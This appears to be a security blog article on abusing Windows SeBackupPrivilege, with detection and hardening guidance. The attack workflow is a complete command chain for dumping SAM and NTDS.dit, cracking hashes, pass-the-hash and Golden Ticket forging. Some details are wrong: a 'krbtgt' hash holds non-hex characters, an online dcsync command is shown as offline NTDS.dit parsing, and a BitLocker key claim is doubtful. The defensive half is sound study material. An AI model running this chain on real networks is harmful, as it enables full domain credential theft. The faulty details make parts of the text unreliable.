Skip to Content
SeBackupPrivilege exploitation showing SAM database extraction and NTDS.dit dumping techniques

SeBackupPrivilege Exploitation and Defense

Using SeBackupPrivilege to bypass NTFS ACLs and read any file, extract the SAM and SYSTEM hives for local hashes, dump NTDS.dit on a domain controller, and the detection and hardening that catch it.

Jan 8, 2026
Updated Nov 22, 2026
33 min read

Description

SeBackupPrivilege lets an account bypass file system security to read files for backup, regardless of the ACL on each file. It exists so backup software and operators can copy everything without being granted read on every object. The same bypass gives an attacker read access to any file on the box, including files the ACL denies even to administrators.

Several built-in groups hold it: Administrators (local and domain), Backup Operators, and Server Operators on domain controllers. Enterprise backup products often create their own groups that hold it too.

With the privilege enabled you can read any file through the backup APIs. That means NTFS permissions do not stop you, and locked system files like SAM, SYSTEM and NTDS.dit open fine. So do registry hives, memory and crash dumps, and EFS-encrypted files (you get the ciphertext, not the plaintext). Volume Shadow Copies give you the same files as they were at an earlier point.

The files that matter most are the credential stores: the SAM hive (local account hashes), NTDS.dit (every domain account on a DC), the SYSTEM hive (the boot key needed to decrypt SAM and NTDS.dit), and the SECURITY hive (cached domain credentials and LSA secrets).

The bypass is quiet

Reading a file through backup semantics returns no access-denied error and, without object-access auditing turned on for that file, no event. An attacker can read files denied to administrators and leave nothing in the default logs.

Impact

On a member server or workstation, SeBackupPrivilege reads the SAM and SYSTEM hives, which gives up the local account hashes. Those hashes support Pass-the-Hash to other machines that share the local admin password.

On a domain controller it is worse. NTDS.dit plus the SYSTEM hive yields every domain account hash, including KRBTGT. With KRBTGT you can forge Golden Tickets and authenticate as anyone, which is full domain compromise. The same read access reaches any protected file on disk: source code, databases, PII, logs. Treat a SeBackupPrivilege holder on a DC as equivalent to Domain Admin.

Technical details

How the privilege works

The right is SeBackupPrivilege, shown in policy as "Back up files and directories". By default it sits with Administrators, Backup Operators and (on DCs) Server Operators. It grants read access when a handle is opened with FILE_FLAG_BACKUP_SEMANTICS.

Windows exposes backup and restore paths that skip the normal access check. The difference is a single flag on CreateFile:

// Normal file access (respects ACLs)
HANDLE hFile = CreateFile(
    "C:\\Windows\\System32\\config\\SAM",
    GENERIC_READ,
    FILE_SHARE_READ,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL
); // This would fail with ACCESS_DENIED

// Backup semantics (bypasses ACLs with SeBackupPrivilege)
HANDLE hFile = CreateFile(
    "C:\\Windows\\System32\\config\\SAM",
    GENERIC_READ,
    FILE_SHARE_READ,
    NULL,
    OPEN_EXISTING,
    FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_SEQUENTIAL_SCAN,
    NULL
); // This succeeds when SeBackupPrivilege is enabled

Checking for the privilege

# Check privileges
whoami /priv

# Expected output if SeBackupPrivilege is available:
# Privilege Name                Description                    State
# ============================= ============================== ========
# SeBackupPrivilege             Back up files and directories  Disabled
# SeRestorePrivilege            Restore files and directories  Disabled
# SeShutdownPrivilege           Shut down the system           Disabled
# SeChangeNotifyPrivilege       Bypass traverse checking       Enabled

The State column matters. Disabled means the privilege is in the token but not active, so you enable it before use. Enabled means it is active now. If the privilege is missing entirely, UAC may have filtered it from the token; open an administrator session as an account that holds it.

Attack workflow

Step 1: Confirm the privilege

Check that the privilege is in the token, even if Disabled:

# PowerShell privilege check
whoami /priv | findstr /i "SeBackupPrivilege"

# Expected: SeBackupPrivilege   Back up files and directories   Disabled

If it does not show up, UAC filtering is the usual reason. Run the shell as administrator, or authenticate as an account that holds the privilege.

Step 2: Enable the privilege

A privilege in the token does nothing until it is enabled. This enables it from PowerShell by calling AdjustTokenPrivileges:

# Import required assemblies
Add-Type @"
using System;
using System.Runtime.InteropServices;

public class TokenManipulator {
    [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
    internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
        ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);

    [DllImport("kernel32.dll", ExactSpelling = true)]
    internal static extern IntPtr GetCurrentProcess();

    [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
    internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok);

    [DllImport("advapi32.dll", SetLastError = true)]
    internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);

    [StructLayout(LayoutKind.Sequential, Pack = 1)]
    internal struct TokPriv1Luid {
        public int Count;
        public long Luid;
        public int Attr;
    }

    internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
    internal const int TOKEN_QUERY = 0x00000008;
    internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;

    public static bool EnablePrivilege(string privilege) {
        IntPtr hToken = IntPtr.Zero;
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref hToken)) {
            return false;
        }

        TokPriv1Luid tp;
        tp.Count = 1;
        tp.Luid = 0;
        tp.Attr = SE_PRIVILEGE_ENABLED;

        if (!LookupPrivilegeValue(null, privilege, ref tp.Luid)) {
            return false;
        }

        return AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
    }
}
"@

# Enable SeBackupPrivilege
[TokenManipulator]::EnablePrivilege("SeBackupPrivilege")

# Verify enabled
whoami /priv | findstr /i "SeBackupPrivilege"
# Expected: SeBackupPrivilege   Back up files and directories   Enabled

Step 3: Extract the SAM and SYSTEM hives

On a workstation or member server, pull the local account hashes. Three ways to copy the hives.

reg save writes a copy of each hive, which the backup privilege makes readable:

# Save SAM database
reg save HKLM\SAM C:\Temp\SAM

# Save SYSTEM hive (required to decrypt SAM)
reg save HKLM\SYSTEM C:\Temp\SYSTEM

# Save SECURITY hive (cached credentials, LSA secrets)
reg save HKLM\SECURITY C:\Temp\SECURITY

# Verify files created
dir C:\Temp\SAM,C:\Temp\SYSTEM,C:\Temp\SECURITY

Robocopy with /B uses backup semantics, so it reads the live hive files under config:

# Robocopy uses backup semantics when /B flag is specified
robocopy /B C:\Windows\System32\config C:\Temp SAM SYSTEM SECURITY

# /B flag tells Robocopy to use SeBackupPrivilege

A Volume Shadow Copy gives you a point-in-time copy of the locked files:

# Create Volume Shadow Copy
wmic shadowcopy call create Volume='C:\'

# List shadow copies
vssadmin list shadows

# Copy files from shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM

Step 4: Extract NTDS.dit on a domain controller

On a DC, go for the Active Directory database. Three ways.

ntdsutil builds an Install From Media set, which includes ntds.dit and the registry hives:

# Create IFM (Install From Media) backup
ntdsutil "ac i ntds" "ifm" "create full C:\Temp\IFM" q q

# This creates:
# C:\Temp\IFM\Active Directory\ntds.dit
# C:\Temp\IFM\registry\SYSTEM
# C:\Temp\IFM\registry\SECURITY

DiskShadow exposes a shadow copy as a drive, then robocopy reads the database from it. Quieter than ntdsutil:

# Create shadow copy using DiskShadow
diskshadow

# DiskShadow commands:
set context persistent nowriters
add volume c: alias vss
create
expose %vss% z:
exit

# Copy NTDS.dit using backup semantics
robocopy /B z:\Windows\NTDS C:\Temp ntds.dit
robocopy /B z:\Windows\System32\config C:\Temp SYSTEM

# Cleanup
vssadmin delete shadows /shadow={ShadowCopyID} /quiet

The same with DiskShadow driven from a script file:

# Create script file
$script = @"
set context persistent nowriters
add volume c: alias vss
create
expose %vss% z:
exec "cmd.exe" /c copy z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
delete shadows volume %vss%
reset
"@

$script | Out-File -FilePath C:\Temp\diskshadow.txt -Encoding ASCII

# Execute DiskShadow with script
diskshadow /s C:\Temp\diskshadow.txt

Step 5: Pull the hashes offline

Move the files to your own machine and parse them there.

secretsdump.py from Impacket reads SAM or NTDS.dit with the SYSTEM hive:

# Extract local account hashes from SAM
secretsdump.py -sam SAM -system SYSTEM LOCAL

# Output:
# [*] Target system bootKey: 0x12345678901234567890123456789012
# [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# user1:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::

# Extract domain credentials from NTDS.dit
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Output includes all domain accounts:
# [*] Target system bootKey: 0x...
# [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1a2b3c4d5e6f7g8h9i0j1k2l3m4n5o6p:::
# [... thousands of domain accounts ...]

Mimikatz does the same offline:

# Load SAM file
.\mimikatz.exe "lsadump::sam /sam:C:\Temp\SAM /system:C:\Temp\SYSTEM" exit

# Parse NTDS.dit
.\mimikatz.exe "lsadump::dcsync /domain:corp.local /all /csv" exit

Step 6: Crack the hashes

Feed the NTLM hashes to an offline cracker:

# Prepare hash file (format: username:hash)
cat hashes.txt
Administrator:cf3a5525ee9414229e66279623ed5c58
john.doe:64f12cddaa88057e06a81b54e73b949b
jane.smith:8846f7eaee8fb117ad06bdd830b7586c

# Crack with Hashcat
hashcat -m 1000 hashes.txt wordlists/rockyou.txt -r rules/best64.rule

# Crack with John the Ripper
john --format=NT hashes.txt --wordlist=rockyou.txt

# Results:
# Administrator:cf3a5525ee9414229e66279623ed5c58:P@ssw0rd123!
# john.doe:64f12cddaa88057e06a81b54e73b949b:Summer2023
# jane.smith:8846f7eaee8fb117ad06bdd830b7586c:Welcome1

Step 7: Move laterally

Use the recovered hashes and passwords to reach other hosts, and the KRBTGT hash to forge tickets:

# Pass-the-Hash with CrackMapExec
crackmapexec smb 10.10.10.0/24 -u Administrator -H cf3a5525ee9414229e66279623ed5c58 --local-auth

# Execute commands with PSExec
psexec.py Administrator@10.10.10.50 -hashes :cf3a5525ee9414229e66279623ed5c58

# Create Golden Ticket with KRBTGT hash
mimikatz # kerberos::golden /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:1a2b3c4d5e6f7g8h9i0j1k2l3m4n5o6p /user:Administrator /id:500 /ptt

Other files worth reading

BitLocker recovery passwords live in AD as msFVE-RecoveryInformation objects, readable with the backup privilege:

# Query Active Directory for BitLocker recovery keys
Get-ADObject -Filter {objectClass -eq 'msFVE-RecoveryInformation'} -Properties * |
  Select-Object msFVE-RecoveryPassword

# Requires SeBackupPrivilege to read protected AD attributes

EFS files copy out as ciphertext; they decrypt on a system that holds the keys:

# Copy EFS encrypted files (remain encrypted)
robocopy /B C:\Users\john\Documents C:\Temp\EFS *.* /E

# Decrypt on system where keys are available
cipher /d C:\Temp\EFS\*.*

pagefile.sys and crash dumps hold fragments of process memory, including credentials:

# Copy pagefile.sys (contains memory data)
robocopy /B C:\ C:\Temp pagefile.sys

# Copy crash dumps
robocopy /B C:\Windows\Minidump C:\Temp *.dmp

# Analyze with volatility or other memory forensics tools

The SECURITY hive gives up LSA secrets, which often include service account passwords and DPAPI keys:

# Use secretsdump with SECURITY hive
secretsdump.py -security SECURITY -system SYSTEM LOCAL

# Output includes:
# [*] Dumping LSA Secrets
# [*] DefaultPassword
# (Unknown User):SecretPassword123!
# [*] DPAPI_SYSTEM
# dpapi_machinekey:0x...
# dpapi_userkey:0x...

Detection

Catching this means watching privilege use, access to the credential files, and the tools that copy them.

Event log monitoring

Event ID 4673 records sensitive privilege use. Filter for SeBackupPrivilege:

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4673)]]
      and
      *[EventData[Data[@Name='PrivilegeList']='SeBackupPrivilege']]
    </Select>
  </Query>
</QueryList>

Alert when SeBackupPrivilege is used outside a backup window, by an account that is not a backup service, or alongside access to SAM, SYSTEM or NTDS.dit.

Event ID 4656 records a handle request to an object. Filter for the credential files:

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4656)]]
      and
      *[EventData[Data[@Name='ObjectName'] and (
        contains(., '\Windows\System32\config\SAM') or
        contains(., '\Windows\System32\config\SYSTEM') or
        contains(., '\Windows\NTDS\ntds.dit')
      )]]
    </Select>
  </Query>
</QueryList>

Event ID 4663 records a completed access. Query it for the hives:

# Query for SAM/SYSTEM access
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4663} |
  Where-Object {$_.Message -like "*\config\SAM*" -or $_.Message -like "*\config\SYSTEM*"} |
  Select-Object TimeCreated, @{N='User';E={$_.Properties[1].Value}}, @{N='Object';E={$_.Properties[6].Value}}

Event ID 4688 records process creation. Watch for the tools that copy hives:

# Detect ntdsutil, reg.exe, robocopy with suspicious arguments
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4688} |
  Where-Object {
    $_.Properties[5].Value -like "*ntdsutil*" -or
    $_.Properties[5].Value -like "*reg save*" -or
    ($_.Properties[5].Value -like "*robocopy*" -and $_.Properties[5].Value -like "*/B*")
  } |
  Select-Object TimeCreated, @{N='Process';E={$_.Properties[5].Value}}, @{N='User';E={$_.Properties[1].Value}}

Sysmon Event ID 11 records file creation. Flag new copies of the credential files:

<Sysmon schemaversion="4.82">
  <EventFiltering>
    <RuleGroup name="FileCreate" groupRelation="or">
      <FileCreate onmatch="include">
        <TargetFilename condition="contains">ntds.dit</TargetFilename>
        <TargetFilename condition="end with">SAM</TargetFilename>
        <TargetFilename condition="end with">SYSTEM</TargetFilename>
        <TargetFilename condition="end with">SECURITY</TargetFilename>
      </FileCreate>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

What to treat as anomalous

Watch the privilege itself: SeBackupPrivilege used outside scheduled backup windows, used by an account that is not a backup service, or used in an interactive session rather than a service.

Watch the files: reads of SAM or SYSTEM outside maintenance, reads of NTDS.dit outside backup runs, or a sweep through many user profile directories in sequence.

Watch the tools: ntdsutil run by an account that does not administer AD, reg save against SAM or SYSTEM, or robocopy with /B writing to somewhere that is not a backup target.

Watch the network: large transfers of .dit files, exfiltration of registry hives, or SMB copies of database files.

SIEM rules

Splunk, correlating privilege use with file access, tool execution and file creation:

# Detect SeBackupPrivilege abuse for NTDS.dit extraction
index=windows (EventCode=4673 OR EventCode=4663 OR EventCode=4688 OR source="*Sysmon*" EventCode=11)
| eval PrivUse=if(EventCode=4673 AND PrivilegeList="SeBackupPrivilege", 1, 0)
| eval FileAccess=if(EventCode=4663 AND (match(ObjectName, "SAM|SYSTEM|ntds\\.dit")), 1, 0)
| eval ProcessExec=if(EventCode=4688 AND (match(CommandLine, "ntdsutil|reg save|robocopy.*\/B")), 1, 0)
| eval FileCreated=if(EventCode=11 AND (match(TargetFilename, "ntds\\.dit|SAM$|SYSTEM$")), 1, 0)
| transaction host maxspan=15m
| where PrivUse=1 AND (FileAccess=1 OR ProcessExec=1 OR FileCreated=1)
| table _time, host, user, PrivilegeList, ObjectName, CommandLine, TargetFilename

Microsoft Sentinel, in KQL:

// SeBackupPrivilege abuse detection
let BackupPrivUse = SecurityEvent
| where TimeGenerated > ago(1h)
| where EventID == 4673
| where PrivilegeList has "SeBackupPrivilege"
| project TimeGenerated, Computer, SubjectUserName, ProcessName;
let SensitiveFileAccess = SecurityEvent
| where TimeGenerated > ago(1h)
| where EventID in (4656, 4663)
| where ObjectName has_any ("\\SAM", "\\SYSTEM", "\\ntds.dit")
| project TimeGenerated, Computer, SubjectUserName, ObjectName;
let SuspiciousProcess = SecurityEvent
| where TimeGenerated > ago(1h)
| where EventID == 4688
| where CommandLine has_any ("ntdsutil", "reg save", "robocopy /B")
| project TimeGenerated, Computer, SubjectUserName, CommandLine;
BackupPrivUse
| join kind=inner (SensitiveFileAccess) on Computer, SubjectUserName
| join kind=inner (SuspiciousProcess) on Computer, SubjectUserName
| project TimeGenerated, Computer, SubjectUserName, ProcessName, ObjectName, CommandLine
| summarize Events=make_set(EventID), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated) by Computer, SubjectUserName

A Sigma rule for the privilege-plus-file-access pattern:

title: SeBackupPrivilege Abuse for Credential Extraction
status: experimental
description: Detects potential abuse of SeBackupPrivilege to extract SAM, SYSTEM, or NTDS.dit files
references:
  - https://attack.mitre.org/techniques/T1003/002/
  - https://attack.mitre.org/techniques/T1003/003/
logsource:
  product: windows
  service: security
detection:
  selection_privilege:
    EventID: 4673
    PrivilegeList: 'SeBackupPrivilege'
  selection_file:
    EventID: 4663
    ObjectName|contains:
      - '\Windows\System32\config\SAM'
      - '\Windows\System32\config\SYSTEM'
      - '\Windows\NTDS\ntds.dit'
  timeframe: 5m
  condition: selection_privilege and selection_file
falsepositives:
  - Legitimate backup operations
  - System administrators performing maintenance
  - Backup software operations
level: high
tags:
  - attack.credential_access
  - attack.t1003.002
  - attack.t1003.003

Remediation

First find who holds the privilege and look for signs it was used to copy credential files.

Immediate response

Step 1: List the privilege holders

# List users with SeBackupPrivilege
Get-LocalGroupMember -Group "Backup Operators"
Get-LocalGroupMember -Group "Administrators"

# Check Server Operators on DCs
Get-ADGroupMember -Identity "Server Operators"

# Audit custom groups with backup privileges
Get-ADGroup -Filter * -Properties * |
  Where-Object {$_.Description -like "*backup*"} |
  ForEach-Object {Get-ADGroupMember -Identity $_.Name}

Step 2: Review recent privilege use

# Query SeBackupPrivilege usage in last 24 hours
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4673;StartTime=(Get-Date).AddDays(-1)} |
  Where-Object {$_.Message -like "*SeBackupPrivilege*"} |
  Select-Object TimeCreated, @{N='User';E={$_.Properties[1].Value}}, @{N='Process';E={$_.Properties[7].Value}}

Step 3: Hunt for extracted files

# Search for SAM, SYSTEM, ntds.dit copies
Get-ChildItem -Path C:\ -Recurse -Force -ErrorAction SilentlyContinue |
  Where-Object {$_.Name -match "^(SAM|SYSTEM|SECURITY|ntds\.dit)$" -and $_.DirectoryName -notlike "*\System32\config*" -and $_.DirectoryName -notlike "*\NTDS*"} |
  Select-Object FullName, LastWriteTime, Length

# Check for recent large file transfers
Get-WinEvent -FilterHashtable @{LogName='Security';ID=5140,5145;StartTime=(Get-Date).AddHours(-24)} |
  Where-Object {$_.Properties[8].Value -gt 100MB} |
  Select-Object TimeCreated, @{N='User';E={$_.Properties[1].Value}}, @{N='ShareName';E={$_.Properties[3].Value}}, @{N='FileName';E={$_.Properties[5].Value}}

Step 4: Reset affected credentials

If SAM or NTDS.dit extraction is confirmed, reset the exposed accounts. A DC compromise means every domain password, and the KRBTGT account reset twice with a wait between resets:

# Force password reset for all affected accounts
# For local system compromise:
Get-LocalUser | Set-LocalUser -PasswordNeverExpires $false
# Manually reset passwords for all local accounts

# For domain controller compromise:
# ALL DOMAIN PASSWORDS MUST BE RESET
# This is a full domain compromise scenario

# Reset KRBTGT account (TWICE with 24hr wait)
# https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/ad-forest-recovery-resetting-the-krbtgt-password

# Force Kerberos ticket renewal
klist purge -li 0x3e7
gpupdate /force

Step 5: Remove the unauthorised privilege

# Remove users from Backup Operators group
Remove-LocalGroupMember -Group "Backup Operators" -Member "unauthorized_user"

# Remove from Server Operators (on DCs)
Remove-ADGroupMember -Identity "Server Operators" -Members "unauthorized_user" -Confirm:$true

# Audit and remove custom backup groups if compromised

Longer-term fixes

Audit everything that holds the privilege and report on it:

# Audit all accounts with SeBackupPrivilege
Function Get-SeBackupPrivilegeHolders {
    $groups = @("Administrators", "Backup Operators", "Server Operators")

    foreach ($group in $groups) {
        try {
            Get-LocalGroupMember -Group $group -ErrorAction Stop |
              Select-Object @{N='Group';E={$group}}, Name, ObjectClass
        } catch {
            # Handle non-existent groups
        }
    }
}

# Create report
Get-SeBackupPrivilegeHolders | Export-Csv -Path "C:\Reports\BackupPrivilegeAudit.csv" -NoTypeInformation

# Implement approval workflow for Backup Operators membership

Turn on object-access auditing for the credential files so reads are logged:

# Enable auditing on sensitive files
$files = @(
    "C:\Windows\System32\config\SAM",
    "C:\Windows\System32\config\SYSTEM",
    "C:\Windows\System32\config\SECURITY",
    "C:\Windows\NTDS\ntds.dit"
)

foreach ($file in $files) {
    if (Test-Path $file) {
        $acl = Get-Acl $file
        $auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
            "Everyone",
            "Read,ReadAndExecute",
            "None",
            "None",
            "Success,Failure"
        )
        $acl.AddAuditRule($auditRule)
        Set-Acl -Path $file -AclObject $acl
    }
}

# Enable Object Access auditing via GPO
auditpol /set /subcategory:"File System" /success:enable /failure:enable

Add file integrity monitoring that alerts on access or copying of the hives:

# Monitor sensitive files for unauthorized access
# Configure SIEM to alert on:
# - SAM/SYSTEM access outside maintenance windows
# - NTDS.dit reads outside backup schedules
# - Registry hive exports

# Example: PowerShell FIM script
$files = @(
    "C:\Windows\System32\config\SAM",
    "C:\Windows\System32\config\SYSTEM",
    "C:\Windows\NTDS\ntds.dit"
)

foreach ($file in $files) {
    $watcher = New-Object System.IO.FileSystemWatcher
    $watcher.Path = [System.IO.Path]::GetDirectoryName($file)
    $watcher.Filter = [System.IO.Path]::GetFileName($file)
    $watcher.EnableRaisingEvents = $true

    Register-ObjectEvent -InputObject $watcher -EventName Changed -Action {
        Write-Warning "ALERT: Sensitive file accessed: $($Event.SourceEventArgs.FullPath)"
        # Send to SIEM
    }
}

Restrict the tools with AppLocker or WDAC so ntdsutil and reg.exe run only where they should:

# Use AppLocker or WDAC to restrict ntdsutil, reg.exe access
# Only allow on authorized jump boxes with privileged access

# Example AppLocker rule:
$rule = @"
<FilePublisherRule Id="..." Name="Block ntdsutil" Description="Prevent unauthorized ntdsutil execution" UserOrGroupSid="S-1-1-0" Action="Deny">
  <Conditions>
    <FilePublisherCondition PublisherName="Microsoft Corporation" ProductName="ntdsutil" BinaryName="ntdsutil.exe"/>
  </Conditions>
</FilePublisherRule>
"@

# Deploy via GPO:
# Computer Configuration > Policies > Windows Settings > Security Settings > Application Control Policies > AppLocker

Put backup traffic on its own segment and limit which hosts the backup account can reach:

# Implement dedicated backup network/VLAN
# Restrict backup account access to specific subnets

# Example: Firewall rule allowing backup traffic only from backup servers
New-NetFirewallRule -DisplayName "Backup - Allow SMB from Backup Servers" -Direction Inbound -Protocol TCP -LocalPort 445 -Action Allow -RemoteAddress "10.10.100.0/24"
New-NetFirewallRule -DisplayName "Backup - Block SMB from All Others" -Direction Inbound -Protocol TCP -LocalPort 445 -Action Block

Run privileged operations, including backup, from Privileged Access Workstations:

# Restrict where backup operations can be performed
# Use dedicated PAWs for all privileged operations
# No internet access, email, or productivity tools on PAWs

# Configure Authentication Policies (Windows Server 2012 R2+)
New-ADAuthenticationPolicy -Name "Backup Operators Policy" -UserAllowedToAuthenticateFrom "O:SYG:SYD:(XA;;CR;;;WD;(@USER.ad://ext/AuthenticationSilo == `"BackupSilo`"))"

# Apply to backup accounts
Set-ADUser -Identity backup_user -AuthenticationPolicy "Backup Operators Policy"

Prevention

Managing the privilege

Grant backup rights just in time, with approval, and remove them automatically when the window closes:

# Implement Just-In-Time (JIT) access for backup operations
Function Grant-TemporaryBackupPrivilege {
    param(
        [string]$Username,
        [int]$DurationHours = 4,
        [string]$Ticket,
        [string]$Approver
    )

    # Require approval
    if (-not (Test-ApprovalStatus -Ticket $Ticket -Approver $Approver)) {
        Write-Error "Approval required for backup privilege grant"
        return
    }

    # Add to Backup Operators
    Add-LocalGroupMember -Group "Backup Operators" -Member $Username

    # Log the grant
    @{
        Timestamp = Get-Date
        User = $Username
        Duration = $DurationHours
        Ticket = $Ticket
        Approver = $Approver
        GrantedBy = $env:USERNAME
    } | Export-Csv -Path "C:\Logs\BackupPrivilegeGrants.csv" -Append -NoTypeInformation

    # Schedule automatic removal
    $removalTime = (Get-Date).AddHours($DurationHours)
    $trigger = New-JobTrigger -Once -At $removalTime
    Register-ScheduledJob -Name "RemoveBackupPriv_$Username" -Trigger $trigger -ScriptBlock {
        param($user)
        Remove-LocalGroupMember -Group "Backup Operators" -Member $user
        Write-EventLog -LogName Application -Source "BackupPrivManager" -EventId 1002 -Message "Removed $user from Backup Operators (JIT access expired)"
    } -ArgumentList $Username

    Write-Host "Granted backup privilege to $Username until $removalTime"
}

Aim for zero standing privilege: no permanent Backup Operators membership, access granted on approval and revoked on a timer, every grant logged.

Monitoring

Run continuous checks for privilege use and credential-file access, and alert on them:

# Continuous monitoring script for SeBackupPrivilege abuse
Function Start-BackupPrivilegeMonitoring {
    while ($true) {
        # Monitor privilege usage
        $privEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4673;StartTime=(Get-Date).AddMinutes(-5)} -ErrorAction SilentlyContinue |
          Where-Object {$_.Message -like "*SeBackupPrivilege*"}

        if ($privEvents) {
            foreach ($event in $privEvents) {
                $user = $event.Properties[1].Value
                $process = $event.Properties[7].Value

                Write-Warning "SeBackupPrivilege used by $user in process $process"

                # Alert security team
                Send-MailMessage -To "security@corp.com" -Subject "SeBackupPrivilege Usage Alert" -Body "User: $user, Process: $process, Time: $($event.TimeCreated)"
            }
        }

        # Monitor sensitive file access
        $fileEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4663;StartTime=(Get-Date).AddMinutes(-5)} -ErrorAction SilentlyContinue |
          Where-Object {$_.Message -match "\\(SAM|SYSTEM|SECURITY|ntds\\.dit)"}

        if ($fileEvents) {
            foreach ($event in $fileEvents) {
                Write-Error "CRITICAL: Sensitive file accessed: $($event.Properties[6].Value) by $($event.Properties[1].Value)"

                # Immediate escalation
                Send-MailMessage -To "soc@corp.com" -Subject "CRITICAL: Credential Database Access" -Priority High -Body "File: $($event.Properties[6].Value), User: $($event.Properties[1].Value)"
            }
        }

        Start-Sleep -Seconds 60
    }
}

# Run in background
Start-Job -ScriptBlock ${Function:Start-BackupPrivilegeMonitoring} -Name "BackupPrivMonitor"

Protecting the credential stores

Layer protections around NTDS.dit and the hives. Credential Guard is the one that holds even against a SeBackupPrivilege holder on a DC, because the secrets it isolates are not in a file you can copy:

# 1. Encrypt NTDS.dit at rest (BitLocker)
Enable-BitLocker -MountPoint "C:" -EncryptionMethod XtsAes256 -RecoveryPasswordProtector

# 2. Implement EFS for additional protection
cipher /e /s:C:\Windows\NTDS

# 3. Deploy file system auditing
# Already covered in mitigation strategies

# 4. Use Windows Defender Credential Guard
# Prevents credential theft even if attacker has SeBackupPrivilege on domain controllers
# Requires Windows Server 2016+ or Windows 10 Enterprise

# Enable via Group Policy:
# Computer Configuration > Administrative Templates > System > Device Guard
# "Turn On Virtualization Based Security" = Enabled
# "Credential Guard Configuration" = Enabled with UEFI lock

# Verify Credential Guard is running
Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesConfigured

Backup hygiene

Use dedicated service accounts, pin their logon to known hosts, keep to scheduled windows, and encrypt backup data in transit and at rest:

# 1. Use dedicated service accounts for backups (not user accounts)
New-ADUser -Name "svc_backup" -ServicePrincipalNames "backup/server01" -AccountPassword (ConvertTo-SecureString "ComplexP@ss!" -AsPlainText -Force)

# 2. Restrict backup account logon locations
Set-ADUser -Identity svc_backup -LogonWorkstations "BACKUP01,BACKUP02"

# 3. Implement scheduled backup windows
# Only allow SeBackupPrivilege usage during approved times

Function Test-BackupWindow {
    $currentTime = Get-Date
    $backupStart = Get-Date -Hour 23 -Minute 0 -Second 0
    $backupEnd = Get-Date -Hour 6 -Minute 0 -Second 0

    if ($currentTime -ge $backupStart -or $currentTime -le $backupEnd) {
        return $true
    }
    return $false
}

# 4. Encrypt backup data in transit and at rest
# Use tools like Veeam, Commvault with encryption enabled

# 5. Implement backup data integrity verification
# Hash verification to detect tampering

Verification

Check Backup Operators membership

# Check Backup Operators group
Get-LocalGroupMember -Group "Backup Operators"

# Expected: Empty or only documented service accounts

Confirm auditing on the credential files

# Verify auditing is enabled on sensitive files
Get-Acl "C:\Windows\System32\config\SAM" | Select-Object -ExpandProperty Audit

# Expected: Audit rules for Everyone with Success and Failure

# Check global audit policy
auditpol /get /subcategory:"File System"

# Expected: Success and Failure enabled

Test detection

Only in an authorised test environment, trigger a copy and confirm the alert fires:

# In isolated test environment
# Simulate SeBackupPrivilege usage
reg save HKLM\SAM C:\Temp\TEST_SAM

# Verify SIEM alerts within 5 minutes
# Confirm incident response procedures trigger

# Cleanup
Remove-Item C:\Temp\TEST_SAM -Force

Confirm Credential Guard

# Check if Credential Guard is running
Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesConfigured, DeviceGuardSecurityServicesRunning

# Expected output should include:
# LsaIso (Credential Guard)

Advanced considerations

Windows versions

Auditing and defences differ by release. Server 2008 R2 and earlier have limited auditing. Server 2012 and later add newer protections, and Credential Guard arrives with Server 2016 and Windows 10 Enterprise. Windows 10 and 11 Enterprise also add WDAC.

Cloud and hybrid

SeBackupPrivilege is an on-premises Windows right; Entra ID (Azure AD) has no equivalent. In a hybrid setup, protect both sides. The Entra Connect sync account holds broad AD permissions and deserves the same care as any privileged account:

# Protect Azure AD Connect sync account
# This account has extensive AD permissions

# Enable PHS (Password Hash Synchronization) protection
# Use PIM (Privileged Identity Management) for sync account access

When the privilege is not available

If you cannot get SeBackupPrivilege, related rights reach similar ground. SeRestorePrivilege gives write access to protected files. SeDebugPrivilege lets you dump LSASS memory. SeImpersonatePrivilege supports token theft. Volume Shadow Copy abuse can reach the same files without the backup privilege at all.

References

MITRE ATT&CK techniques

CWE entries

Microsoft documentation

Other resources

Next steps

If you find SeBackupPrivilege handed out too widely:

